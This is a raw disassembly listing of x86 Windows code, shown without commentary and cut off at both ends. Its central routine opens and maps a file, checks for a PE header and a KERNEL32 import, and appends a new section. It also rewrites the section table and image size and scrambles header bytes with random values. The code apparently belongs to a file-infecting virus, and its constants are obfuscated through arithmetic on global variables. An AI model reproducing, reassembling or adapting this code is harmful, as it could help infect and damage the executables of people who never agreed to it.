mov edi, ds:10012104h
add edi, 36h
mov ecx, edi
add ecx, ds:1001210Ch
cdq
idiv ecx
mov ebx, eax
add esi, 1
loc_41C330: ; CODE XREF: sub_41C28D+51j
mov eax, ds:10012118h
movsx edx, word ptr ds:100120D8h
add eax, edx
sub eax, 2
cmp esi, eax
jl short loc_41C2E0
pop edi
pop esi
pop ebx
leave
retn
sub_41C28D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C34A proc near ; CODE XREF: sub_41DCB0+B7p
; sub_41DCB0+109p
var_7 = byte ptr -7
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov byte ptr [ebx], 0
mov ecx, esi
or eax, 0FFFFFFFFh
loc_41C360: ; CODE XREF: sub_41C34A+1Bj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41C360
mov [ebp+var_4], eax
movsx eax, word ptr ds:100121BCh
mov edi, eax
add edi, ds:10012144h
sub edi, 0Bh
jmp short loc_41C3E8
; ---------------------------------------------------------------------------
loc_41C37E: ; CODE XREF: sub_41C34A+A1j
movzx eax, [ebp+arg_8]
cmp edi, eax
jb short loc_41C391
mov al, [esi+edi]
cmp al, 2Fh
jz short loc_41C391
cmp al, 2Eh
jnz short loc_41C3AA
loc_41C391: ; CODE XREF: sub_41C34A+3Aj
; sub_41C34A+41j
movzx eax, byte ptr [esi+edi]
push eax
push 100135F1h
lea eax, [ebp+var_7]
push eax
call dword ptr ds:10011634h
add esp, 0Ch
jmp short loc_41C3D9
; ---------------------------------------------------------------------------
loc_41C3AA: ; CODE XREF: sub_41C34A+45j
push 100135ECh
call sub_4228CE
push eax
push ebx
call dword ptr ds:1000C020h
push 100135E4h
call sub_4228CE
movzx edx, byte ptr [esi+edi]
push edx
push eax
lea edx, [ebp+var_7]
push edx
call dword ptr ds:10011634h
add esp, 1Ch
loc_41C3D9: ; CODE XREF: sub_41C34A+5Ej
lea eax, [ebp+var_7]
push eax
push ebx
call dword ptr ds:1000C020h
add esp, 8
inc edi
loc_41C3E8: ; CODE XREF: sub_41C34A+32j
cmp edi, [ebp+var_4]
jb short loc_41C37E
pop edi
pop esi
pop ebx
leave
retn
sub_41C34A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C3F2 proc near ; CODE XREF: sub_41B1B9+24p
; sub_41B58F+25p ...
var_10D = byte ptr -10Dh
var_10C = dword ptr -10Ch
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10Ch
push edi
mov edi, [ebp+arg_0]
push 104h
lea eax, [ebp+var_108]
push eax
call dword ptr ds:1000E5FCh
movsx eax, word ptr ds:100120D8h
add eax, ds:10012178h
movsx edx, word ptr ds:10012170h
sub edx, 8
mov [ebp+eax+var_10D], dl
push 104h
lea eax, [ebp+var_108]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_10C]
push eax
push 104h
lea eax, [ebp+var_108]
push eax
lea eax, [ebp+var_108]
push eax
call dword ptr ds:10011614h
push 100135DCh
call sub_4228CE
push [ebp+var_10C]
push eax
push edi
call dword ptr ds:10011634h
add esp, 10h
movsx eax, word ptr ds:100120B0h
sub eax, 8
mov [ebp+var_4], eax
jmp short loc_41C4BC
; ---------------------------------------------------------------------------
loc_41C48D: ; CODE XREF: sub_41C3F2+D8j
mov eax, [ebp+var_4]
mov al, [edi+eax]
cmp al, 30h
jl short loc_41C4A3
cmp al, 39h
jg short loc_41C4A3
mov eax, [ebp+var_4]
add eax, edi
add byte ptr [eax], 31h
loc_41C4A3: ; CODE XREF: sub_41C3F2+A3j
; sub_41C3F2+A7j
mov eax, [ebp+var_4]
mov al, [edi+eax]
cmp al, 41h
jl short loc_41C4B9
cmp al, 5Ah
jg short loc_41C4B9
mov eax, [ebp+var_4]
add eax, edi
add byte ptr [eax], 20h
loc_41C4B9: ; CODE XREF: sub_41C3F2+B9j
; sub_41C3F2+BDj
inc [ebp+var_4]
loc_41C4BC: ; CODE XREF: sub_41C3F2+99j
mov eax, ds:100120B8h
add eax, ds:100120A0h
cmp [ebp+var_4], eax
jb short loc_41C48D
pop edi
leave
retn
sub_41C3F2 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, [ebp+0Ch]
mov edi, [ebp+10h]
push 1001396Ch
push esi
call dword ptr ds:10011644h
or eax, eax
jz short loc_41C4FB
mov eax, [ebp+8]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_41C543
; ---------------------------------------------------------------------------
loc_41C4FB: ; CODE XREF: .data:0041C4E9j
push 100138ECh
push esi
call dword ptr ds:10011644h
or eax, eax
jz short loc_41C51B
mov eax, [ebp+8]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_41C543
; ---------------------------------------------------------------------------
loc_41C51B: ; CODE XREF: .data:0041C509j
push 100138BCh
push esi
call dword ptr ds:10011644h
or eax, eax
jz short loc_41C53B
mov eax, [ebp+8]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_41C543
; ---------------------------------------------------------------------------
loc_41C53B: ; CODE XREF: .data:0041C529j
and dword ptr [edi], 0
mov eax, 80004002h
loc_41C543: ; CODE XREF: .data:0041C4F9j
; .data:0041C519j ...
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 1000E604h
call dword ptr ds:1000EA3Ch
mov eax, ds:1000E604h
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C561 proc near ; CODE XREF: sub_423996+147p
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1000h
call sub_424F4D
push ebx
push esi
push edi
mov eax, ds:10012184h
sub eax, 6
push eax
lea eax, [ebp+var_FFF]
push eax
call sub_4223D9
add esp, 8
mov eax, ds:100120A4h
mov edi, eax
add edi, ds:100120E4h
sub edi, 4
jmp short loc_41C5BD
; ---------------------------------------------------------------------------
loc_41C59B: ; CODE XREF: sub_41C561+62j
cmp [ebp+edi+var_FFF], 23h
jnz short loc_41C5BC
movsx eax, word ptr ds:10012090h
add eax, ds:100121A0h
sub eax, 7
mov [ebp+edi+var_FFF], al
loc_41C5BC: ; CODE XREF: sub_41C561+42j
inc edi
loc_41C5BD: ; CODE XREF: sub_41C561+38j
cmp edi, 0FFFh
jb short loc_41C59B
lea esi, [ebp+var_FFF]
loc_41C5CB: ; CODE XREF: sub_41C561+F7j
push 100135D8h
call sub_4228CE
push 1000D020h
mov ebx, ds:100120F0h
add ebx, ds:100120C0h
sub ebx, 5
push ebx
mov ebx, ds:10012190h
sub ebx, 3
push ebx
push eax
movsx ebx, word ptr ds:100120DCh
add ebx, ds:100121C8h
sub ebx, 8
push ebx
push 0
push esi
push [ebp+arg_0]
mov ebx, ds:100120B8h
sub ebx, 2
and ebx, 0FFh
push ebx
call sub_41DCB0
add esp, 28h
mov ecx, esi
or eax, 0FFFFFFFFh
loc_41C629: ; CODE XREF: sub_41C561+CDj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41C629
mov edx, ds:10012158h
movsx ecx, word ptr ds:100121BCh
add edx, ecx
sub edx, 5
mov ebx, eax
add ebx, esi
mov esi, edx
add esi, ebx
movsx eax, byte ptr [esi]
mov edx, ds:100121ACh
sub edx, 4
cmp eax, edx
jnz loc_41C5CB
pop edi
pop esi
pop ebx
leave
retn
sub_41C561 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
loc_41C666: ; CODE XREF: .data:0041C688j
call sub_41F16E
mov eax, ds:10012190h
dec eax
mov edx, ds:1001210Ch
add edx, 0EA59h
imul eax, edx
push eax
call dword ptr ds:10011630h
pop ecx
jmp short loc_41C666
; ---------------------------------------------------------------------------
dw 0C25Dh
db 4, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C68E proc near ; CODE XREF: sub_4232A3+289p
var_54 = byte ptr -54h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 54h
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov eax, [ebp+arg_4]
add eax, 40h
jge short loc_41C6A5
add eax, 3Fh
loc_41C6A5: ; CODE XREF: sub_41C68E+12j
sar eax, 6
mov edi, eax
shl edi, 6
push edi
call sub_421484
pop ecx
mov [ebp+var_14], eax
mov edi, [ebp+arg_4]
mov edx, ds:100120C4h
add edx, 3Ch
mov eax, edi
add eax, edx
jge short loc_41C6CC
add eax, 3Fh
loc_41C6CC: ; CODE XREF: sub_41C68E+39j
sar eax, 6
mov edi, ds:100121C8h
add edi, 3Eh
mov edx, eax
imul edx, edi
push edx
push [ebp+var_14]
call dword ptr ds:1000C02Ch
push [ebp+arg_4]
push esi
push [ebp+var_14]
call dword ptr ds:10010634h
add esp, 0Ch
lea eax, [ebp+var_10]
push eax
call sub_424643
mov esi, [ebp+var_14]
mov eax, ds:10012188h
movsx edx, word ptr ds:10012194h
mov ebx, eax
add ebx, edx
jmp short loc_41C734
; ---------------------------------------------------------------------------
loc_41C715: ; CODE XREF: sub_41C68E+C0j
push esi
lea eax, [ebp+var_10]
push eax
call sub_42466A
mov eax, ds:100120A8h
add eax, 37h
movsx edx, word ptr ds:10012180h
add eax, edx
lea esi, [esi+eax]
inc ebx
loc_41C734: ; CODE XREF: sub_41C68E+85j
mov edi, [ebp+arg_4]
movsx edx, word ptr ds:100120BCh
lea eax, [edi+edx+37h]
test eax, eax
jge short loc_41C749
add eax, 3Fh
loc_41C749: ; CODE XREF: sub_41C68E+B6j
sar eax, 6
cmp ebx, eax
jl short loc_41C715
push [ebp+var_14]
call sub_423972
lea eax, [ebp+var_54]
push eax
push [ebp+arg_8]
call sub_41B3A8
mov eax, ds:100120E4h
add eax, 0Eh
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
call dword ptr ds:10011648h
add esp, 18h
mov edi, ds:10012140h
sub edi, 8
cmp eax, edi
jz short loc_41C790
xor eax, eax
inc eax
jmp short loc_41C792
; ---------------------------------------------------------------------------
loc_41C790: ; CODE XREF: sub_41C68E+FBj
xor eax, eax
loc_41C792: ; CODE XREF: sub_41C68E+100j
pop edi
pop esi
pop ebx
leave
retn
sub_41C68E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C797 proc near ; CODE XREF: sub_422E53+1B1p
var_3200C = dword ptr -3200Ch
var_32008 = dword ptr -32008h
var_32004 = byte ptr -32004h
var_32003 = byte ptr -32003h
var_31FFD = byte ptr -31FFDh
var_31F54 = dword ptr -31F54h
var_31F50 = dword ptr -31F50h
var_31F4C = dword ptr -31F4Ch
var_31F48 = dword ptr -31F48h
var_31F44 = dword ptr -31F44h
var_31F40 = dword ptr -31F40h
var_31F3C = dword ptr -31F3Ch
var_31F38 = dword ptr -31F38h
var_31F34 = dword ptr -31F34h
var_31F30 = dword ptr -31F30h
var_31F2C = dword ptr -31F2Ch
var_31F28 = dword ptr -31F28h
var_31F24 = dword ptr -31F24h
var_31F20 = dword ptr -31F20h
var_31F1C = dword ptr -31F1Ch
var_31F18 = dword ptr -31F18h
var_31F14 = dword ptr -31F14h
var_31F10 = dword ptr -31F10h
var_31F0C = dword ptr -31F0Ch
var_31F08 = dword ptr -31F08h
var_31F04 = dword ptr -31F04h
var_31F00 = dword ptr -31F00h
var_31EFC = dword ptr -31EFCh
var_31EF8 = dword ptr -31EF8h
var_31EF4 = dword ptr -31EF4h
var_31EF0 = dword ptr -31EF0h
var_31EEC = dword ptr -31EECh
var_31EE8 = dword ptr -31EE8h
var_31EE4 = dword ptr -31EE4h
var_31EE0 = dword ptr -31EE0h
var_31EDC = dword ptr -31EDCh
var_31ED8 = dword ptr -31ED8h
var_31ED4 = dword ptr -31ED4h
var_31ED0 = byte ptr -31ED0h
var_31EC3 = byte ptr -31EC3h
var_1190 = dword ptr -1190h
var_118C = dword ptr -118Ch
var_1188 = dword ptr -1188h
var_1184 = dword ptr -1184h
var_1180 = dword ptr -1180h
var_117C = dword ptr -117Ch
var_1178 = dword ptr -1178h
var_1174 = dword ptr -1174h
var_116F = byte ptr -116Fh
var_1070 = dword ptr -1070h
var_106C = dword ptr -106Ch
var_1068 = dword ptr -1068h
var_1064 = dword ptr -1064h
var_1060 = dword ptr -1060h
var_105C = dword ptr -105Ch
var_1058 = dword ptr -1058h
var_1054 = dword ptr -1054h
var_1050 = dword ptr -1050h
var_C54 = dword ptr -0C54h
var_C50 = dword ptr -0C50h
var_C4C = dword ptr -0C4Ch
var_850 = dword ptr -850h
var_84C = dword ptr -84Ch
var_848 = dword ptr -848h
var_844 = dword ptr -844h
var_840 = dword ptr -840h
var_83C = dword ptr -83Ch
var_440 = dword ptr -440h
var_43C = dword ptr -43Ch
var_438 = dword ptr -438h
var_434 = dword ptr -434h
var_430 = dword ptr -430h
var_42C = dword ptr -42Ch
var_428 = dword ptr -428h
var_424 = dword ptr -424h
var_420 = dword ptr -420h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 3200Ch
call sub_424F4D
push ebx
push esi
push edi
push [ebp+arg_8]
push [ebp+arg_4]
lea eax, [ebp+var_31EC3]
push eax
call dword ptr ds:10010634h
add esp, 0Ch
push 0
push dword ptr ds:10012164h
push 3
push 0
mov eax, ds:100120A0h
sub eax, 4
push eax
push 0C0000001h
push [ebp+arg_0]
call dword ptr ds:10011788h
mov [ebp+var_1070], eax
cmp eax, 0FFFFFFFFh
jnz short loc_41C7F2
xor eax, eax
jmp loc_41DB4C
; ---------------------------------------------------------------------------
loc_41C7F2: ; CODE XREF: sub_41C797+52j
push 0
push [ebp+var_1070]
call dword ptr ds:10011624h
mov [ebp+var_10], eax
mov edx, [ebp+arg_8]
lea eax, [eax+edx+1FFFFh]
push eax
push 0
call dword ptr ds:1000EA34h
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_31ED8]
push eax
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_1070]
call dword ptr ds:1000C028h
mov eax, [ebp+var_4]
mov eax, [eax+3Ch]
mov [ebp+var_840], eax
mov eax, [ebp+var_31ED8]
sub eax, 0F8h
cmp [ebp+var_840], eax
ja loc_41DB35
mov eax, [ebp+var_840]
add eax, [ebp+var_4]
mov [ebp+var_8], eax
movzx eax, word ptr [eax]
cmp eax, 4550h
jnz loc_41DB35
mov eax, [ebp+var_8]
movzx eax, word ptr [eax+5Ch]
mov edx, ds:100120E4h
movsx ecx, word ptr ds:10012180h
add edx, ecx
sub edx, 7
cmp eax, edx
jz loc_41DB35
mov eax, [ebp+var_8]
movzx edx, word ptr [eax+44h]
movsx ecx, word ptr ds:100120DCh
add ecx, 7
cmp edx, ecx
jnz short loc_41C8BC
mov edx, ds:10012158h
add edx, 8
mov [eax+1Ah], dl
cmp dl, 0
jnz loc_41DB35
loc_41C8BC: ; CODE XREF: sub_41C797+10Ej
mov eax, [ebp+var_8]
mov eax, [eax+80h]
mov [ebp+var_430], eax
mov eax, 28h
mov [ebp+var_31EE8], eax
mov edx, [ebp+var_8]
mov [ebp+var_31EF0], edx
mov ecx, [ebp+var_840]
add ecx, 0F8h
mov [ebp+var_31EEC], eax
movzx edi, word ptr [edx+6]
mul edi
mov [ebp+var_31EF4], eax
mov edx, ecx
add edx, eax
mov [ebp+var_31EFC], edx
mov eax, [ebp+var_31EE8]
mov [ebp+var_31EF8], eax
mov ecx, ds:100120ACh
inc ecx
add ecx, ds:10012108h
mul ecx
mov [ebp+var_31F00], eax
mov eax, [ebp+var_31EFC]
mov edx, [ebp+var_31F00]
add eax, edx
mov edx, [ebp+var_31EF0]
add eax, [edx+0D4h]
cmp eax, [edx+54h]
ja loc_41DB35
mov eax, ds:100121C4h
sub eax, 5
mov [ebp+var_20], eax
movsx eax, word ptr ds:10012170h
add eax, ds:10012144h
sub eax, 0Dh
mov [ebp+var_C54], eax
movsx eax, word ptr ds:100120E0h
add eax, ds:100121B4h
dec eax
mov [ebp+var_105C], eax
movsx eax, word ptr ds:10012170h
sub eax, 8
mov [ebp+var_434], eax
jmp loc_41CA57
; ---------------------------------------------------------------------------
loc_41C995: ; CODE XREF: sub_41C797+2CDj
mov eax, 28h
mul [ebp+var_434]
mov [ebp+var_31F0C], eax
mov eax, [ebp+var_840]
mov edx, [ebp+var_4]
lea eax, [eax+edx+0F8h]
mov edx, [ebp+var_31F0C]
mov esi, edx
add esi, eax
mov eax, [esi+0Ch]
add eax, [esi+8]
mov [ebp+var_31F04], eax
mov eax, [esi+14h]
add eax, [esi+10h]
mov [ebp+var_31F08], eax
mov eax, [ebp+var_20]
cmp [ebp+var_31F04], eax
jbe short loc_41C9EC
mov eax, [ebp+var_31F04]
mov [ebp+var_20], eax
loc_41C9EC: ; CODE XREF: sub_41C797+24Aj
mov eax, [ebp+var_C54]
cmp [ebp+var_31F08], eax
jbe short loc_41CA06
mov eax, [ebp+var_31F08]
mov [ebp+var_C54], eax
loc_41CA06: ; CODE XREF: sub_41C797+261j
mov eax, [ebp+var_8]
mov eax, [eax+0A8h]
cmp eax, [esi+0Ch]
jb short loc_41CA31
cmp eax, [ebp+var_31F04]
jnb short loc_41CA31
mov eax, [esi+14h]
mov edx, [ebp+var_8]
add eax, [edx+0A8h]
sub eax, [esi+0Ch]
mov [ebp+var_105C], eax
loc_41CA31: ; CODE XREF: sub_41C797+27Bj
; sub_41C797+283j
mov eax, [ebp+var_430]
mov edx, [esi+0Ch]
cmp eax, edx
jb short loc_41CA51
add edx, [esi+8]
cmp eax, edx
jnb short loc_41CA51
sub eax, [esi+0Ch]
add eax, [esi+14h]
mov [ebp+var_848], eax
loc_41CA51: ; CODE XREF: sub_41C797+2A5j
; sub_41C797+2ACj
inc [ebp+var_434]
loc_41CA57: ; CODE XREF: sub_41C797+1F9j
mov eax, [ebp+var_8]
movzx eax, word ptr [eax+6]
cmp [ebp+var_434], eax
jb loc_41C995
mov eax, ds:100120A8h
add eax, 0FFDh
push eax
push [ebp+var_20]
call sub_41E1DA
add esp, 8
mov [ebp+var_20], eax
mov eax, [ebp+var_C54]
cmp [ebp+var_10], eax
jz short loc_41CAA6
mov eax, [ebp+var_8]
mov edx, ds:100121C0h
sub edx, 3
cmp [eax+0A8h], edx
jz loc_41DB35
loc_41CAA6: ; CODE XREF: sub_41C797+2F5j
mov eax, ds:100120B4h
add eax, ds:100120A0h
sub eax, 0Ch
cmp [ebp+var_105C], eax
jz loc_41CB85
mov eax, ds:100121A0h
sub eax, 6
mov [ebp+var_31F0C], eax
mov eax, ds:10012134h
sub eax, 3
mov [ebp+var_31F04], eax
jmp short loc_41CB2C
; ---------------------------------------------------------------------------
loc_41CADE: ; CODE XREF: sub_41C797+3BBj
mov eax, [ebp+var_105C]
mov [ebp+var_31F10], eax
mov eax, 1Ch
mul [ebp+var_31F04]
mov [ebp+var_31F14], eax
mov eax, [ebp+var_31F10]
mov edx, [ebp+var_31F14]
add eax, edx
add eax, [ebp+var_4]
mov [ebp+var_31F08], eax
mov edx, [ebp+var_31F0C]
cmp [eax+18h], edx
jbe short loc_41CB26
mov eax, [eax+18h]
mov [ebp+var_31F0C], eax
loc_41CB26: ; CODE XREF: sub_41C797+384j
inc [ebp+var_31F04]
loc_41CB2C: ; CODE XREF: sub_41C797+345j
mov edi, [ebp+var_8]
mov eax, [edi+0ACh]
mov ecx, 1Ch
shr eax, 2
mov edx, 24924925h
mul edx
mov [ebp+var_31F10], edx
mov edi, edx
cmp [ebp+var_31F04], edi
jb short loc_41CADE
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
push [ebp+var_31F0C]
call sub_41E1DA
add esp, 8
mov [ebp+var_31F0C], eax
mov eax, [ebp+var_C54]
cmp eax, [ebp+var_10]
jz short loc_41CB85
cmp [ebp+var_31F0C], eax
jnz loc_41DB35
loc_41CB85: ; CODE XREF: sub_41C797+323j
; sub_41C797+3E0j
and [ebp+var_1174], 0
mov eax, ds:100121CCh
movsx edx, word ptr ds:100120DCh
add eax, edx
sub eax, 0Ah
mov [ebp+var_438], eax
jmp loc_41CCE2
; ---------------------------------------------------------------------------
loc_41CBA8: ; CODE XREF: sub_41C797+55Aj
mov eax, [ebp+var_848]
add eax, [ebp+var_438]
add eax, [ebp+var_4]
mov [ebp+var_32008], eax
mov edx, ds:100120D4h
dec edx
cmp [eax], edx
jz loc_41CCF7
mov eax, [ebp+var_32008]
mov eax, [eax+0Ch]
sub eax, [ebp+var_430]
add eax, [ebp+var_848]
mov [ebp+var_3200C], eax
add eax, [ebp+var_4]
push eax
lea eax, [ebp+var_32003]
push eax
call dword ptr ds:1000E1F4h
add esp, 8
movsx eax, word ptr ds:10012100h
movsx edx, word ptr ds:10012128h
add eax, edx
sub eax, 9
mov [ebp+var_31F04], eax
jmp short loc_41CC41
; ---------------------------------------------------------------------------
loc_41CC16: ; CODE XREF: sub_41C797+4C9j
mov eax, [ebp+var_31F04]
mov al, [ebp+eax+var_32003]
cmp al, 61h
jle short loc_41CC3B
cmp al, 7Ah
jge short loc_41CC3B
mov eax, [ebp+var_31F04]
lea eax, [ebp+eax+var_32003]
sub byte ptr [eax], 20h
loc_41CC3B: ; CODE XREF: sub_41C797+48Ej
; sub_41C797+492j
inc [ebp+var_31F04]
loc_41CC41: ; CODE XREF: sub_41C797+47Dj
mov eax, [ebp+var_31F04]
movsx eax, [ebp+eax+var_32003]
mov edx, ds:1001213Ch
add edx, ds:10012098h
sub edx, 9
cmp eax, edx
jnz short loc_41CC16
mov eax, ds:100121B4h
cmp [ebp+eax+var_32004], 4Bh
jnz short loc_41CCDB
movsx eax, word ptr ds:100120DCh
cmp byte ptr [ebp+eax+var_32008], 45h
jnz short loc_41CCDB
mov eax, ds:100120ECh
add eax, ds:10012164h
cmp byte ptr [ebp+eax+var_32008+2], 52h
jnz short loc_41CCDB
movsx eax, word ptr ds:10012170h
movsx edx, word ptr ds:10012180h
add eax, edx
cmp byte ptr [ebp+eax+var_3200C], 4Ch
jnz short loc_41CCDB
movsx eax, word ptr ds:10012154h
cmp byte ptr [ebp+eax+var_32008+3], 33h
jnz short loc_41CCDB
mov eax, ds:10012118h
cmp [ebp+eax+var_31FFD], 32h
jnz short loc_41CCDB
mov [ebp+var_1174], 1
loc_41CCDB: ; CODE XREF: sub_41C797+4D8j
; sub_41C797+4E9j ...
add [ebp+var_438], 14h
loc_41CCE2: ; CODE XREF: sub_41C797+40Cj
mov eax, [ebp+var_8]
mov eax, [eax+84h]
cmp [ebp+var_438], eax
jb loc_41CBA8
loc_41CCF7: ; CODE XREF: sub_41C797+42Fj
cmp [ebp+var_1174], 0
jz loc_41DB35
lea eax, [ebp+var_31EC3]
mov [ebp+var_42C], eax
mov ecx, [eax+3Ch]
mov [ebp+var_84C], ecx
add ecx, eax
mov [ebp+var_844], ecx
mov eax, [ebp+var_8]
mov [ebp+var_31F04], eax
movsx edx, word ptr ds:100121BCh
sub edx, 6
cmp [eax+0D0h], edx
jz loc_41CEB1
mov edx, [eax+0D4h]
mov [ebp+var_31F08], edx
movsx ecx, word ptr ds:100120D0h
cmp edx, ecx
jz loc_41CEB1
mov ecx, 28h
mov edi, [ebp+var_840]
add edi, 0F8h
mov eax, ecx
mov edx, [ebp+var_31F04]
movzx edx, word ptr [edx+6]
mov [ebp+var_31F0C], edx
mul edx
mov [ebp+var_31F10], eax
mov edx, edi
add edx, eax
mov [ebp+var_31F18], edx
mov eax, ecx
mov [ebp+var_31F14], eax
mov ecx, ds:10012108h
add ecx, 4
mul ecx
mov [ebp+var_31F1C], eax
mov eax, [ebp+var_31F18]
mov edx, [ebp+var_31F1C]
add eax, edx
mov edx, [ebp+var_31F08]
add eax, edx
mov edx, [ebp+var_31F04]
cmp [edx+54h], eax
jbe loc_41CEB1
mov eax, [ebp+var_840]
add eax, 0F8h
mov [ebp+var_31F28], eax
mov eax, 28h
mov ecx, [ebp+var_8]
movzx ecx, word ptr [ecx+6]
mul ecx
mov [ebp+var_31F2C], eax
mov eax, [ebp+var_31F28]
mov edx, [ebp+var_31F2C]
add eax, edx
mov [ebp+var_31F20], eax
mov [ebp+var_31F30], eax
mov eax, 28h
mov ecx, [ebp+var_844]
movzx ecx, word ptr [ecx+6]
movsx edi, word ptr ds:100120BCh
sub edi, 7
sub ecx, edi
mul ecx
mov [ebp+var_31F34], eax
mov eax, [ebp+var_31F30]
mov edx, [ebp+var_31F34]
add eax, edx
mov [ebp+var_31F24], eax
mov eax, [ebp+var_8]
push dword ptr [eax+0D4h]
mov eax, [ebp+var_4]
mov edx, [ebp+var_31F20]
add edx, eax
push edx
mov edx, [ebp+var_31F24]
add edx, eax
push edx
call dword ptr ds:10010634h
add esp, 0Ch
mov eax, [ebp+var_8]
add eax, 0D0h
mov [ebp+var_31F38], eax
mov eax, 28h
mov ecx, [ebp+var_844]
movzx ecx, word ptr [ecx+6]
mov edi, ds:10012130h
add edi, ds:10012144h
sub edi, 3
sub ecx, edi
mul ecx
mov [ebp+var_31F3C], eax
mov eax, [ebp+var_31F38]
mov edx, eax
mov ecx, [ebp+var_31F3C]
add [edx], ecx
loc_41CEB1: ; CODE XREF: sub_41C797+5A3j
; sub_41C797+5BEj ...
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
push [ebp+var_10]
call sub_41E1DA
mov [ebp+var_10], eax
mov eax, 28h
mov ecx, [ebp+var_8]
movzx ecx, word ptr [ecx+6]
mul ecx
mov [ebp+var_31F20], eax
mov eax, [ebp+var_840]
mov edx, [ebp+var_4]
lea eax, [eax+edx+0F8h]
mov edx, [ebp+var_31F20]
mov esi, edx
add esi, eax
push 100135CFh
call sub_4228CE
push eax
push esi
call dword ptr ds:1000E1F4h
mov eax, ds:100120ACh
add eax, 1FFFDh
mov [esi+8], eax
mov eax, [ebp+var_20]
mov [esi+0Ch], eax
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
mov eax, [ebp+arg_8]
add eax, 0Dh
push eax
call sub_41E1DA
mov [esi+10h], eax
mov eax, [ebp+var_10]
mov [esi+14h], eax
mov eax, ds:10012104h
add eax, 0C0000034h
movsx edx, word ptr ds:10012100h
add eax, edx
mov [esi+24h], eax
mov eax, ds:10012164h
add eax, 6
movsx edx, word ptr ds:10012180h
add eax, edx
push eax
mov eax, ds:10012098h
add eax, ds:1001209Ch
sub eax, 0Fh
push eax
mov eax, esi
add eax, 18h
push eax
call dword ptr ds:10010640h
mov eax, [ebp+var_20]
mov [ebp+var_1060], eax
mov eax, [ebp+var_10]
mov [ebp+var_850], eax
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
mov eax, [ebp+var_10]
add eax, [esi+10h]
push eax
call sub_41E1DA
add esp, 30h
mov [ebp+var_10], eax
mov eax, ds:100120ECh
add eax, 1FFFAh
add eax, ds:10012118h
add [ebp+var_20], eax
mov eax, [ebp+var_8]
add eax, 6
inc word ptr [eax]
mov eax, [ebp+var_8]
mov edx, [esi+0Ch]
add edx, [esi+8]
mov [eax+50h], edx
call dword ptr ds:10011BACh
mov edi, ds:10012118h
movsx edx, word ptr ds:10012180h
add edi, edx
sub edi, 6
mov ecx, 0FDh
cdq
idiv ecx
add edi, edx
mov [ebp+var_1064], edi
mov eax, ds:100121C8h
sub eax, 2
mov edx, [ebp+var_42C]
mov ecx, edi
xor ecx, 4Dh
mov [edx+eax], cl
mov edi, ds:100121CCh
sub edi, 3
mov ecx, [ebp+arg_8]
shr ecx, 9
mov [edx+edi], cl
call dword ptr ds:10011BACh
mov edi, [ebp+var_84C]
mov edx, [ebp+var_42C]
mov [ebp+var_31F28], edx
mov [ebp+var_31F24], eax
mov ecx, 0FFh
cdq
idiv ecx
mov ecx, [ebp+var_31F28]
mov [ecx+edi], dl
call dword ptr ds:10011BACh
mov edx, ds:100121B4h
movsx ecx, word ptr ds:10012114h
add edx, ecx
sub edx, 2
add edi, edx
mov edx, [ebp+var_42C]
mov [ebp+var_31F30], edx
mov [ebp+var_31F2C], eax
mov ecx, 0FFh
cdq
idiv ecx
mov ecx, [ebp+var_31F30]
mov [ecx+edi], dl
mov eax, ds:1001215Ch
add eax, 37h
add eax, ds:10012144h
mov [ebp+var_43C], eax
jmp short loc_41D0CC
; ---------------------------------------------------------------------------
loc_41D097: ; CODE XREF: sub_41C797+941j
call dword ptr ds:10011BACh
mov edi, [ebp+var_43C]
mov edx, [ebp+var_42C]
mov [ebp+var_31F38], edx
mov [ebp+var_31F34], eax
mov ecx, 0FFh
cdq
idiv ecx
mov ecx, [ebp+var_31F38]
mov [ecx+edi], dl
inc [ebp+var_43C]
loc_41D0CC: ; CODE XREF: sub_41C797+8FEj
mov eax, [ebp+var_84C]
cmp [ebp+var_43C], eax
jb short loc_41D097
push 0Dh
push 10012200h
lea eax, [ebp+var_31ED0]
push eax
call dword ptr ds:10010634h
mov eax, [esi+10h]
add eax, 0Dh
push eax
